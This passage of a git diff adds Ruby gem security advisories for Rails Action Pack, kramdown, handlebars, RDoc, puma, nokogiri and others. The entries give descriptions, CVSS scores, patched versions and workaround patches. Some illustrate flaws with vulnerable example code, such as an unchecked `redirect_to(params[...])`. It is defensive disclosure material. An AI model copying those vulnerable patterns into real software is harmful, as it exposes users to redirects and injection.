+                  value.gsub!(/[^-\d,]/, "").sub!(/,/, ".")
+                end
+
+                super(value)
+              end
+            end
+          end
+        end
+      end
+    end
+    ```
+  cvss_v3: 5.3
+  unaffected_versions:
+  - "< 4.2.0"
+  patched_versions:
+  - "~> 5.2.4, >= 5.2.4.5"
+  - "~> 6.0.3, >= 6.0.3.5"
+  - ">= 6.1.2.1"
+---
diff --git a/advisories/_posts/2021-02-10-CVE-2021-22881.md b/advisories/_posts/2021-02-10-CVE-2021-22881.md
new file mode 100644
index 00000000..0c32b581
--- /dev/null
+++ b/advisories/_posts/2021-02-10-CVE-2021-22881.md
@@ -0,0 +1,76 @@
+---
+layout: advisory
+title: 'CVE-2021-22881 (actionpack): Possible Open Redirect in Host Authorization
+  Middleware'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2021-22881
+  ghsa: 8877-prq4-9xfw
+  url: https://groups.google.com/g/rubyonrails-security/c/zN_3qA26l6E
+  title: Possible Open Redirect in Host Authorization Middleware
+  date: 2021-02-10
+  description: |
+    There is a possible open redirect vulnerability in the Host Authorization
+    middleware in Action Pack. This vulnerability has been assigned the CVE
+    identifier CVE-2021-22881.
+
+    Versions Affected:  >= 6.0.0
+    Not affected:       < 6.0.0
+    Fixed Versions:     6.1.2.1, 6.0.3.5
+
+    Impact
+    ------
+    Specially crafted "Host" headers in combination with certain "allowed host"
+    formats can cause the Host Authorization middleware in Action Pack to redirect
+    users to a malicious website.
+
+    Impacted applications will have allowed hosts with a leading dot.  For
+    example, configuration files that look like this:
+
+    ```
+    config.hosts <<  '.tkte.ch'
+    ```
+
+    When an allowed host contains a leading dot, a specially crafted Host header
+    can be used to redirect to a malicious website.
+
+    Workarounds
+    -----------
+    In the case a patch can't be applied, the following monkey patch can be used
+    in an initializer:
+
+    ```ruby
+    module ActionDispatch
+      class HostAuthorization
+        private
+          def authorized?(request)
+            valid_host = /
+              \A
+              (?<host>[a-z0-9.-]+|\[[a-f0-9]*:[a-f0-9\.:]+\])
+              (:\d+)?
+              \z
+            /x
+
+            origin_host = valid_host.match(
+              request.get_header("HTTP_HOST").to_s.downcase)
+            forwarded_host = valid_host.match(
+              request.x_forwarded_host.to_s.split(/,\s?/).last)
+
+            origin_host && @permissions.allows?(origin_host[:host]) && (
+              forwarded_host.nil? || @permissions.allows?(forwarded_host[:host]))
+          end
+      end
+    end
+    ```
+  cvss_v3: 6.1
+  unaffected_versions:
+  - "< 6.0.0"
+  patched_versions:
+  - "~> 6.0.3, >= 6.0.3.5"
+  - ">= 6.1.2.1"
+---
diff --git a/advisories/_posts/2021-03-08-CVE-2019-25025.md b/advisories/_posts/2021-03-08-CVE-2019-25025.md
new file mode 100644
index 00000000..a6dc5c02
--- /dev/null
+++ b/advisories/_posts/2021-03-08-CVE-2019-25025.md
@@ -0,0 +1,33 @@
+---
+layout: advisory
+title: 'CVE-2019-25025 (activerecord-session_store): activerecord-session_store Timing
+  Attack'
+comments: false
+categories:
+- activerecord-session_store
+advisory:
+  gem: activerecord-session_store
+  cve: 2019-25025
+  ghsa: cvw2-xj8r-mjf7
+  url: https://github.com/advisories/GHSA-cvw2-xj8r-mjf7
+  date: 2021-03-08
+  title: activerecord-session_store Timing Attack
+  description: |
+    The `activerecord-session_store` (aka Active Record Session Store) component
+    through 1.1.3 for Ruby on Rails does not use a constant-time approach when delivering
+    information about whether a guessed session ID is valid. Consequently, remote attackers
+    can leverage timing discrepancies to achieve a correct guess in a relatively short
+    amount of time. This is a related issue to CVE-2019-16782.
+
+    ## Recommendation
+    Users should upgrade to `activerecord-session_store` version 2.0.0 or later.
+  cvss_v3: 5.9
+  patched_versions:
+  - ">= 2.0.0"
+  related:
+    cve:
+    - 2019-16782
+    url:
+    - https://github.com/rails/activerecord-session_store/pull/151
+    - https://github.com/rails/activerecord-session_store/releases/tag/v2.0.0
+---
diff --git a/advisories/_posts/2021-03-29-CVE-2020-24392.md b/advisories/_posts/2021-03-29-CVE-2020-24392.md
new file mode 100644
index 00000000..fdb3d9a1
--- /dev/null
+++ b/advisories/_posts/2021-03-29-CVE-2020-24392.md
@@ -0,0 +1,19 @@
+---
+layout: advisory
+title: 'CVE-2020-24392 (twitter-stream): Improper Certificate Validation in twitter-stream'
+comments: false
+categories:
+- twitter-stream
+advisory:
+  gem: twitter-stream
+  cve: 2020-24392
+  ghsa: p6p8-q4pj-f74m
+  url: https://securitylab.github.com/advisories/GHSL-2020-097-voloko-twitter-stream/
+  date: 2021-03-29
+  title: Improper Certificate Validation in twitter-stream
+  description: |
+    In voloko twitter-stream 0.1.16, missing TLS hostname validation allows
+    an attacker to perform a man-in-the-middle attack against users of the library (because
+    eventmachine is misused).
+  cvss_v3: 5.9
+---
diff --git a/advisories/_posts/2021-03-29-CVE-2021-28834.md b/advisories/_posts/2021-03-29-CVE-2021-28834.md
new file mode 100644
index 00000000..99eaf0a5
--- /dev/null
+++ b/advisories/_posts/2021-03-29-CVE-2021-28834.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2021-28834 (kramdown): Remote code execution in Kramdown'
+comments: false
+categories:
+- kramdown
+advisory:
+  gem: kramdown
+  cve: 2021-28834
+  ghsa: 52p9-v744-mwjj
+  url: https://github.com/advisories/GHSA-52p9-v744-mwjj
+  date: 2021-03-29
+  title: Remote code execution in Kramdown
+  description: |
+    Kramdown before 2.3.1 does not restrict Rouge formatters to the Rouge::Formatters
+    namespace, and thus arbitrary classes can be instantiated.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 2.3.1"
+  unaffected_versions:
+  - "< 1.16.0"
+  related:
+    url:
+    - https://github.com/gettalong/kramdown/pull/708
+    - https://about.gitlab.com/releases/2021/03/17/security-release-gitlab-13-9-4-released/#remote-code-execution-via-unsafe-user-controlled-markdown-rendering-options
+---
diff --git a/advisories/_posts/2021-04-05-CVE-2021-28965.md b/advisories/_posts/2021-04-05-CVE-2021-28965.md
new file mode 100644
index 00000000..7c1bd723
--- /dev/null
+++ b/advisories/_posts/2021-04-05-CVE-2021-28965.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2021-28965 (rexml): XML round-trip vulnerability in REXML'
+comments: false
+categories:
+- rexml
+advisory:
+  gem: rexml
+  cve: 2021-28965
+  ghsa: 8cr8-4vfw-mr7h
+  url: https://www.ruby-lang.org/en/news/2021/04/05/xml-round-trip-vulnerability-in-rexml-cve-2021-28965/
+  title: XML round-trip vulnerability in REXML
+  date: 2021-04-05
+  description: |
+    When parsing and serializing a crafted XML document, REXML gem (including
+    the one bundled with Ruby) can create a wrong XML document whose structure
+    is different from the original one.
+  cvss_v3: 7.5
+  patched_versions:
+  - "~> 3.1.9.1"
+  - "~> 3.2.3.1"
+  - ">= 3.2.5"
+---
diff --git a/advisories/_posts/2021-04-05-CVE-2021-28966.md b/advisories/_posts/2021-04-05-CVE-2021-28966.md
new file mode 100644
index 00000000..40a763ab
--- /dev/null
+++ b/advisories/_posts/2021-04-05-CVE-2021-28966.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2021-28966 (tmpdir): Path traversal in Tempfile on Windows'
+comments: false
+categories:
+- tmpdir
+advisory:
+  gem: tmpdir
+  cve: 2021-28966
+  ghsa: 46f2-3v63-3xrp
+  url: https://www.ruby-lang.org/en/news/2021/04/05/tempfile-path-traversal-on-windows-cve-2021-28966/
+  title: Path traversal in Tempfile on Windows
+  date: 2021-04-05
+  description: |
+    There is an unintentional directory creation vulnerability in tmpdir library
+    bundled with Ruby on Windows. And there is also an unintentional file
+    creation vulnerability in tempfile library bundled with Ruby on Windows,
+    because it uses tmpdir internally.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 0.1.2"
+  related:
+    cve:
+    - 2018-6914
+    url:
+    - https://www.ruby-lang.org/en/news/2018/03/28/unintentional-file-and-directory-creation-with-directory-traversal-cve-2018-6914/
+---
diff --git a/advisories/_posts/2021-04-12-CVE-2021-23369.md b/advisories/_posts/2021-04-12-CVE-2021-23369.md
new file mode 100644
index 00000000..34c808cc
--- /dev/null
+++ b/advisories/_posts/2021-04-12-CVE-2021-23369.md
@@ -0,0 +1,22 @@
+---
+layout: advisory
+title: 'CVE-2021-23369 (handlebars-source): Remote code execution in handlebars when
+  compiling templates'
+comments: false
+categories:
+- handlebars-source
+advisory:
+  gem: handlebars-source
+  cve: 2021-23369
+  ghsa: f2jv-r9rf-7988
+  url: https://github.com/advisories/GHSA-f2jv-r9rf-7988
+  title: Remote code execution in handlebars when compiling templates
+  date: 2021-04-12
+  description: |
+    The package handlebars before 4.7.7 are vulnerable to Remote Code Execution (RCE) when
+    selecting certain compiling options to compile templates coming from an untrusted source.
+    This vulnerability has been assigned the CVE identifier CVE-2021-23369.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 4.7.7"
+---
diff --git a/advisories/_posts/2021-04-13-CVE-2020-24393.md b/advisories/_posts/2021-04-13-CVE-2020-24393.md
new file mode 100644
index 00000000..b745678e
--- /dev/null
+++ b/advisories/_posts/2021-04-13-CVE-2020-24393.md
@@ -0,0 +1,19 @@
+---
+layout: advisory
+title: 'CVE-2020-24393 (tweetstream): Improper Certificate Validation in TweetStream'
+comments: false
+categories:
+- tweetstream
+advisory:
+  gem: tweetstream
+  cve: 2020-24393
+  ghsa: 6hrm-jqp3-64cv
+  url: https://securitylab.github.com/advisories/GHSL-2020-096-tweetstream-tweetstream/
+  date: 2021-04-13
+  title: Improper Certificate Validation in TweetStream
+  description: |
+    TweetStream 2.6.1 uses the library eventmachine in an insecure way that
+    does not have TLS hostname validation. This allows an attacker to perform a man-in-the-middle
+    attack.
+  cvss_v3: 5.9
+---
diff --git a/advisories/_posts/2021-04-13-CVE-2020-7942.md b/advisories/_posts/2021-04-13-CVE-2020-7942.md
new file mode 100644
index 00000000..f9158f70
--- /dev/null
+++ b/advisories/_posts/2021-04-13-CVE-2020-7942.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2020-7942 (puppet): Improper Certificate Validation in Puppet'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2020-7942
+  ghsa: gqvf-892r-vjm5
+  url: https://puppet.com/security/cve/CVE-2020-7942/
+  date: 2021-04-13
+  title: Improper Certificate Validation in Puppet
+  description: |
+    Previously, Puppet operated on a model that a node with a valid certificate
+    was entitled to all information in the system and that a compromised certificate
+    allowed access to everything in the infrastructure. When a node's catalog falls
+    back to the `default` node, the catalog can be retrieved for a different node by
+    modifying facts for the Puppet run. This issue can be mitigated by setting
+    `strict_hostname_checking = true` in `puppet.conf` on your Puppet master. Puppet
+    6.13.0 changes the default behavior for strict_hostname_checking from false to
+    true. It is recommended that Puppet Open Source and Puppet Enterprise users that
+    are not upgrading still set `strict_hostname_checking` to `true` to ensure secure
+    behavior.
+  cvss_v3: 6.5
+  patched_versions:
+  - "~> 5.5.19"
+  - ">= 6.13.0"
+---
diff --git a/advisories/_posts/2021-04-14-CVE-2021-29435.md b/advisories/_posts/2021-04-14-CVE-2021-29435.md
new file mode 100644
index 00000000..9209f779
--- /dev/null
+++ b/advisories/_posts/2021-04-14-CVE-2021-29435.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'CVE-2021-29435 (trestle-auth): Cross-Site Request Forgery (CSRF) in trestle-auth'
+comments: false
+categories:
+- trestle-auth
+advisory:
+  gem: trestle-auth
+  cve: 2021-29435
+  ghsa: h8hx-2c5r-32cf
+  url: https://github.com/TrestleAdmin/trestle-auth/security/advisories/GHSA-h8hx-2c5r-32cf
+  date: 2021-04-14
+  title: Cross-Site Request Forgery (CSRF) in trestle-auth
+  description: |
+    ### Impact
+
+    A vulnerability in trestle-auth versions 0.4.0 and 0.4.1 allows
+    an attacker to create a form that will bypass Rails' built-in
+    CSRF protection when submitted by a victim with a trestle-auth
+    admin session. This potentially allows an attacker to alter
+    protected data, including admin account credentials.
+
+    ### Patches
+
+    The vulnerability has been fixed in trestle-auth 0.4.2 released to RubyGems.
+  cvss_v3: 8.1
+  patched_versions:
+  - ">= 0.4.2"
+  unaffected_versions:
+  - "< 0.4.0"
+---
diff --git a/advisories/_posts/2021-04-22-CVE-2016-11086.md b/advisories/_posts/2021-04-22-CVE-2016-11086.md
new file mode 100644
index 00000000..c616e658
--- /dev/null
+++ b/advisories/_posts/2021-04-22-CVE-2016-11086.md
@@ -0,0 +1,21 @@
+---
+layout: advisory
+title: 'CVE-2016-11086 (oauth): Improper Certificate Validation in oauth ruby gem'
+comments: false
+categories:
+- oauth
+advisory:
+  gem: oauth
+  cve: 2016-11086
+  ghsa: 7359-3c6r-hfc2
+  url: https://github.com/advisories/GHSA-7359-3c6r-hfc2
+  date: 2021-04-22
+  title: Improper Certificate Validation in oauth ruby gem
+  description: |
+    lib/oauth/consumer.rb in the oauth-ruby gem through 0.5.4 for Ruby does
+    not verify server X.509 certificates if a certificate bundle cannot be found, which
+    allows man-in-the-middle attackers to spoof servers and obtain sensitive information.
+  cvss_v3: 7.4
+  patched_versions:
+  - ">= 0.5.5"
+---
diff --git a/advisories/_posts/2021-04-26-CVE-2021-31671.md b/advisories/_posts/2021-04-26-CVE-2021-31671.md
new file mode 100644
index 00000000..7d0a2550
--- /dev/null
+++ b/advisories/_posts/2021-04-26-CVE-2021-31671.md
@@ -0,0 +1,35 @@
+---
+layout: advisory
+title: 'CVE-2021-31671 (pgsync): Connection security vulnerability with schema sync'
+comments: false
+categories:
+- pgsync
+advisory:
+  gem: pgsync
+  cve: 2021-31671
+  ghsa: 72rj-36qc-47g7
+  url: https://github.com/ankane/pgsync/issues/121
+  title: Connection security vulnerability with schema sync
+  date: 2021-04-26
+  description: |
+    pgsync drops connection parameters when syncing the schema with the
+    --schema-first and --schema-only options. Some of these parameters may
+    affect security. For instance, if sslmode is dropped, the connection
+    may not use SSL. The first connection parameter is not affected.
+
+    pgsync drops connection parameters when syncing the schema with the
+    `--schema-first` and `--schema-only` options. Some of these parameters
+    may affect security. For instance, if `sslmode` is dropped, the
+    connection may not use SSL. The first connection parameter is not affected.
+
+    An example where `sslmode` is dropped (`connect_timeout` is not affected):
+
+    ```yaml
+    from: postgres://user:pass@host/dbname?connect_timeout=10&sslmode=require
+    ```
+
+    This applies to both the `to` and `from` connections.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 0.6.7"
+---
diff --git a/advisories/_posts/2021-05-02-CVE-2021-31799.md b/advisories/_posts/2021-05-02-CVE-2021-31799.md
new file mode 100644
index 00000000..beb5e31f
--- /dev/null
+++ b/advisories/_posts/2021-05-02-CVE-2021-31799.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2021-31799 (rdoc): RDoc OS command injection vulnerability'
+comments: false
+categories:
+- rdoc
+advisory:
+  gem: rdoc
+  cve: 2021-31799
+  ghsa: ggxm-pgc9-g7fp
+  url: https://www.ruby-lang.org/en/news/2021/05/02/os-command-injection-in-rdoc/
+  title: RDoc OS command injection vulnerability
+  date: 2021-05-02
+  description: |
+    RDoc used to call `Kernel#open` to open a local file. If a Ruby project has
+    a file whose name starts with `|` and ends with `tags`, the command following
+    the pipe character is executed. A malicious Ruby project could exploit it to
+    run an arbitrary command execution against a user who attempts to run `rdoc`
+    command.
+  cvss_v3: 7.0
+  unaffected_versions:
+  - "< 3.11.0"
+  patched_versions:
+  - "~> 6.1.2.1"
+  - "~> 6.2.1.1"
+  - ">= 6.3.1"
+---
diff --git a/advisories/_posts/2021-05-04-CVE-2021-23383.md b/advisories/_posts/2021-05-04-CVE-2021-23383.md
new file mode 100644
index 00000000..354bf0fe
--- /dev/null
+++ b/advisories/_posts/2021-05-04-CVE-2021-23383.md
@@ -0,0 +1,21 @@
+---
+layout: advisory
+title: 'CVE-2021-23383 (handlebars-source): Prototype Pollution in handlebars'
+comments: false
+categories:
+- handlebars-source
+advisory:
+  gem: handlebars-source
+  cve: 2021-23383
+  ghsa: 765h-qjxv-5f44
+  url: https://github.com/advisories/GHSA-765h-qjxv-5f44
+  title: Prototype Pollution in handlebars
+  date: 2021-05-04
+  description: |
+    The package handlebars before 4.7.7 are vulnerable to Prototype Pollution when
+    selecting certain compiling options to compile templates coming from an untrusted source.
+    This vulnerability has been assigned the CVE identifier CVE-2021-23383.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 4.7.7"
+---
diff --git a/advisories/_posts/2021-05-05-CVE-2021-22885.md b/advisories/_posts/2021-05-05-CVE-2021-22885.md
new file mode 100644
index 00000000..733ac3a7
--- /dev/null
+++ b/advisories/_posts/2021-05-05-CVE-2021-22885.md
@@ -0,0 +1,76 @@
+---
+layout: advisory
+title: 'CVE-2021-22885 (actionpack): Possible Information Disclosure / Unintended
+  Method Execution in Action Pack'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2021-22885
+  ghsa: hjg4-8q5f-x6fm
+  url: https://groups.google.com/g/rubyonrails-security/c/NiQl-48cXYI
+  title: Possible Information Disclosure / Unintended Method Execution in Action Pack
+  date: 2021-05-05
+  description: |
+    There is a possible information disclosure / unintended method execution
+    vulnerability in Action Pack which has been assigned the CVE identifier
+    CVE-2021-22885.
+
+    Versions Affected:  >= 2.0.0.
+    Not affected:       < 2.0.0.
+    Fixed Versions:     6.1.3.2, 6.0.3.7, 5.2.4.6, 5.2.6
+
+    Impact
+    ------
+    There is a possible information disclosure / unintended method execution
+    vulnerability in Action Pack when using the `redirect_to` or `polymorphic_url`
+    helper with untrusted user input.
+
+    Vulnerable code will look like this:
+
+    ```
+    redirect_to(params[:some_param])
+    ```
+
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately.
+
+    Workarounds
+    -----------
+    To work around this problem, it is recommended to use an allow list for valid
+    parameters passed from the user.  For example:
+
+    ```
+    private def check(param)
+      case param
+      when "valid"
+        param
+      else
+        "/"
+      end
+    end
+
+    def index
+      redirect_to(check(params[:some_param]))
+    end
+    ```
+
+    Or force the user input to be cast to a string like this:
+
+    ```
+    def index
+      redirect_to(params[:some_param].to_s)
+    end
+    ```
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 2.0.0"
+  patched_versions:
+  - "~> 5.2.4.6"
+  - "~> 5.2.6"
+  - "~> 6.0.3, >= 6.0.3.7"
+  - ">= 6.1.3.2"
+---
diff --git a/advisories/_posts/2021-05-05-CVE-2021-22902.md b/advisories/_posts/2021-05-05-CVE-2021-22902.md
new file mode 100644
index 00000000..207cdba7
--- /dev/null
+++ b/advisories/_posts/2021-05-05-CVE-2021-22902.md
@@ -0,0 +1,50 @@
+---
+layout: advisory
+title: 'CVE-2021-22902 (actionpack): Possible Denial of Service vulnerability in Action
+  Dispatch'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2021-22902
+  ghsa: g8ww-46x2-2p65
+  url: https://groups.google.com/g/rubyonrails-security/c/_5ID_ld9u1c
+  title: Possible Denial of Service vulnerability in Action Dispatch
+  date: 2021-05-05
+  description: |
+    There is a possible Denial of Service vulnerability in the Mime type parser of
+    Action Dispatch. This vulnerability has been assigned the CVE identifier
+    CVE-2021-22902.
+
+    Versions Affected:  >= 6.0.0
+    Not affected:       < 6.0.0
+    Fixed Versions:     6.0.3.7, 6.1.3.2
+
+    Impact
+    ------
+    There is a possible Denial of Service vulnerability in Action Dispatch.
+    Carefully crafted Accept headers can cause the mime type parser in Action
+    Dispatch to do catastrophic backtracking in the regular expression engine.
+
+    Workarounds
+    -----------
+    The following monkey patch placed in an initializer can be used to work around
+    the issue:
+
+    ```ruby
+    module Mime
+      class Type
+        MIME_REGEXP = /\A(?:\*\/\*|#{MIME_NAME}\/(?:\*|#{MIME_NAME})(?>\s*#{MIME_PARAMETER}\s*)*)\z/
+      end
+    end
+    ```
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 6.0.0"
+  patched_versions:
+  - "~> 6.0.3, >= 6.0.3.7"
+  - ">= 6.1.3.2"
+---
diff --git a/advisories/_posts/2021-05-05-CVE-2021-22903.md b/advisories/_posts/2021-05-05-CVE-2021-22903.md
new file mode 100644
index 00000000..7c9c224c
--- /dev/null
+++ b/advisories/_posts/2021-05-05-CVE-2021-22903.md
@@ -0,0 +1,60 @@
+---
+layout: advisory
+title: 'CVE-2021-22903 (actionpack): Possible Open Redirect Vulnerability in Action
+  Pack'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2021-22903
+  ghsa: 5hq2-xf89-9jxq
+  url: https://groups.google.com/g/rubyonrails-security/c/8TxqXEtgSF0
+  title: Possible Open Redirect Vulnerability in Action Pack
+  date: 2021-05-05
+  description: |
+    There is a possible Open Redirect Vulnerability in Action Pack. This
+    vulnerability has been assigned the CVE identifier CVE-2021-22903.
+
+    Versions Affected:  >= v6.1.0.rc2
+    Not affected:       < v6.1.0.rc2
+    Fixed Versions:     6.1.3.2
+
+    Impact
+    ------
+    This is similar to CVE-2021-22881: Specially crafted Host headers in
+    combination with certain "allowed host" formats can cause the Host
+    Authorization middleware in Action Pack to redirect users to a malicious
+    website.
+
+    Since rails/rails@9bc7ea5, strings in config.hosts that do not have a leading
+    dot are converted to regular expressions without proper escaping. This causes,
+    for example, config.hosts << "sub.example.com" to permit a request with a Host
+    header value of sub-example.com.
+
+    Workarounds
+    -----------
+    The following monkey patch put in an initializer can be used as a workaround:
+
+    ```ruby
+    class ActionDispatch::HostAuthorization::Permissions
+      def sanitize_string(host)
+        if host.start_with?(".")
+          /\A(.+\.)?#{Regexp.escape(host[1..-1])}\z/i
+        else
+          /\A#{Regexp.escape host}\z/i
+        end
+      end
+    end
+    ```
+  cvss_v3: 6.1
+  unaffected_versions:
+  - "< 6.1.0.rc2"
+  patched_versions:
+  - ">= 6.1.3.2"
+  related:
+    cve:
+    - 2021-22881
+---
diff --git a/advisories/_posts/2021-05-05-CVE-2021-22904.md b/advisories/_posts/2021-05-05-CVE-2021-22904.md
new file mode 100644
index 00000000..bac4c382
--- /dev/null
+++ b/advisories/_posts/2021-05-05-CVE-2021-22904.md
@@ -0,0 +1,71 @@
+---
+layout: advisory
+title: 'CVE-2021-22904 (actionpack): Possible DoS Vulnerability in Action Controller
+  Token Authentication'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2021-22904
+  ghsa: 7wjx-3g7j-8584
+  url: https://groups.google.com/g/rubyonrails-security/c/Pf1TjkOBdyQ
+  title: Possible DoS Vulnerability in Action Controller Token Authentication
+  date: 2021-05-05
+  description: |
+    There is a possible DoS vulnerability in the Token Authentication logic in
+    Action Controller.  This vulnerability has been assigned the CVE identifier
+    CVE-2021-22904.
+
+    Versions Affected:  >= 4.0.0
+    Not affected:       < 4.0.0
+    Fixed Versions:     6.1.3.2, 6.0.3.7, 5.2.4.6, 5.2.6
+
+    Impact
+    ------
+    Impacted code uses `authenticate_or_request_with_http_token` or
+    `authenticate_with_http_token` for request authentication.  Impacted code will
+    look something like this:
+
+    ```
+    class PostsController < ApplicationController
+      before_action :authenticate
+
+      private
+
+      def authenticate
+        authenticate_or_request_with_http_token do |token, options|
+          # ...
+        end
+      end
+    end
+    ```
+
+    All users running an affected release should either upgrade or use one of the
+    workarounds immediately.
+
+    Releases
+    --------
+    The fixed releases are available at the normal locations.
+
+    Workarounds
+    -----------
+    The following monkey patch placed in an initializer can be used to work around
+    the issue:
+
+    ```ruby
+    module ActionController::HttpAuthentication::Token
+      AUTHN_PAIR_DELIMITERS = /(?:,|;|\t)/
+    end
+    ```
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 4.0.0"
+  patched_versions:
+  - "~> 5.2.4.6"
+  - "~> 5.2.6"
+  - "~> 6.0.3, >= 6.0.3.7"
+  - ">= 6.1.3.2"
+---
diff --git a/advisories/_posts/2021-05-06-CVE-2021-23337.md b/advisories/_posts/2021-05-06-CVE-2021-23337.md
new file mode 100644
index 00000000..44bf3e5c
--- /dev/null
+++ b/advisories/_posts/2021-05-06-CVE-2021-23337.md
@@ -0,0 +1,40 @@
+---
+layout: advisory
+title: 'CVE-2021-23337 (lodash-rails): Command Injection in lodash'
+comments: false
+categories:
+- lodash-rails
+advisory:
+  gem: lodash-rails
+  cve: 2021-23337
+  ghsa: 35jh-r3h4-6jhm
+  url: https://github.com/advisories/GHSA-35jh-r3h4-6jhm
+  title: Command Injection in lodash
+  date: 2021-05-06
+  description: |
+    lodash versions prior to 4.17.21 are vulnerable to
+    Command Injection via the template function.
+  cvss_v2: 6.5
+  cvss_v3: 7.2
+  patched_versions:
+  - ">= 4.17.21"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-23337
+    - https://github.com/lodash/lodash/commit/3469357cff396a26c363f8c1b5a91dde28ba4b1c
+    - https://snyk.io/vuln/SNYK-JS-LODASH-1040724
+    - https://github.com/lodash/lodash/blob/ddfd9b11a0126db2302cb70ec9973b66baec0975/lodash.js#L14851
+    - https://github.com/lodash/lodash/blob/ddfd9b11a0126db2302cb70ec9973b66baec0975/lodash.js
+    - https://snyk.io/vuln/SNYK-JAVA-ORGFUJIONWEBJARS-1074932
+    - https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074930
+    - https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074928
+    - https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074931
+    - https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074929
+    - https://www.oracle.com//security-alerts/cpujul2021.html
+    - https://www.oracle.com/security-alerts/cpuoct2021.html
+    - https://www.oracle.com/security-alerts/cpujan2022.html
+    - https://www.oracle.com/security-alerts/cpujul2022.html
+    - https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf
+    - https://security.netapp.com/advisory/ntap-20210312-0006
+    - https://github.com/advisories/GHSA-35jh-r3h4-6jhm
+---
diff --git a/advisories/_posts/2021-05-11-CVE-2021-29509.md b/advisories/_posts/2021-05-11-CVE-2021-29509.md
new file mode 100644
index 00000000..268b1e09
--- /dev/null
+++ b/advisories/_posts/2021-05-11-CVE-2021-29509.md
@@ -0,0 +1,52 @@
+---
+layout: advisory
+title: 'CVE-2021-29509 (puma): Keepalive Connections Causing Denial Of Service in
+  puma'
+comments: false
+categories:
+- puma
+advisory:
+  gem: puma
+  cve: 2021-29509
+  ghsa: q28m-8xjw-8vr5
+  url: https://github.com/puma/puma/security/advisories/GHSA-q28m-8xjw-8vr5
+  date: 2021-05-11
+  title: Keepalive Connections Causing Denial Of Service in puma
+  description: |
+    ### Impact
+
+    The fix for CVE-2019-16770 was incomplete. The original fix only protected
+    existing connections that had already been accepted from having their
+    requests starved by greedy persistent-connections saturating all threads in
+    the same process. However, new connections may still be starved by greedy
+    persistent-connections saturating all threads in all processes in the
+    cluster.
+
+    A puma server which received more concurrent keep-alive connections than the
+    server had threads in its threadpool would service only a subset of
+    connections, denying service to the unserved connections.
+
+    ### Patches
+
+    This problem has been fixed in puma 4.3.8 and 5.3.1.
+
+    ### Workarounds
+
+    Setting queue_requests false also fixes the issue. This is not advised when
+    using puma without a reverse proxy, such as nginx or apache, because you will
+    open yourself to slow client attacks (e.g. [slowloris][1]).
+
+    The fix is very small. [A git patch is available here][2] for those using
+    [unsupported versions][3] of Puma.
+
+    [1]: https://en.wikipedia.org/wiki/Slowloris_(computer_security)
+    [2]: https://gist.github.com/nateberkopec/4b3ea5676c0d70cbb37c82d54be25837
+    [3]: https://github.com/puma/puma/security/policy#supported-versions
+  cvss_v3: 7.5
+  patched_versions:
+  - "~> 4.3.8"
+  - ">= 5.3.1"
+  related:
+    cve:
+    - 2019-16770
+---
diff --git a/advisories/_posts/2021-05-17-GHSA-7rrm-v45f-jp64.md b/advisories/_posts/2021-05-17-GHSA-7rrm-v45f-jp64.md
new file mode 100644
index 00000000..9a7ca311
--- /dev/null
+++ b/advisories/_posts/2021-05-17-GHSA-7rrm-v45f-jp64.md
@@ -0,0 +1,139 @@
+---
+layout: advisory
+title: 'GHSA-7rrm-v45f-jp64 (nokogiri): Update packaged dependency libxml2 from 2.9.10
+  to 2.9.12'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  ghsa: 7rrm-v45f-jp64
+  url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-7rrm-v45f-jp64
+  date: 2021-05-17
+  title: Update packaged dependency libxml2 from 2.9.10 to 2.9.12
+  description: |
+    ### Summary
+
+    Nokogiri v1.11.4 updates the vendored libxml2 from v2.9.10 to v2.9.12 which addresses:
+
+    - [CVE-2019-20388](https://security.archlinux.org/CVE-2019-20388) (Medium severity)
+    - [CVE-2020-24977](https://security.archlinux.org/CVE-2020-24977) (Medium severity)
+    - [CVE-2021-3517](https://security.archlinux.org/CVE-2021-3517) (Medium severity)
+    - [CVE-2021-3518](https://security.archlinux.org/CVE-2021-3518) (Medium severity)
+    - [CVE-2021-3537](https://security.archlinux.org/CVE-2021-3537) (Low severity)
+    - [CVE-2021-3541](https://security.archlinux.org/CVE-2021-3541) (Low severity)
+
+    Note that two additional CVEs were addressed upstream but are not relevant to this release. [CVE-2021-3516](https://security.archlinux.org/CVE-2021-3516) via `xmllint` is not present in Nokogiri, and [CVE-2020-7595](https://security.archlinux.org/CVE-2020-7595) has been patched in Nokogiri since v1.10.8 (see #1992).
+
+    Please note that this advisory only applies to the CRuby implementation of Nokogiri `< 1.11.4`, and only if the packaged version of libxml2 is being used. If you've overridden defaults at installation time to use system libraries instead of packaged libraries, you should instead pay attention to your distro's `libxml2` release announcements.
+
+
+    ### Mitigation
+
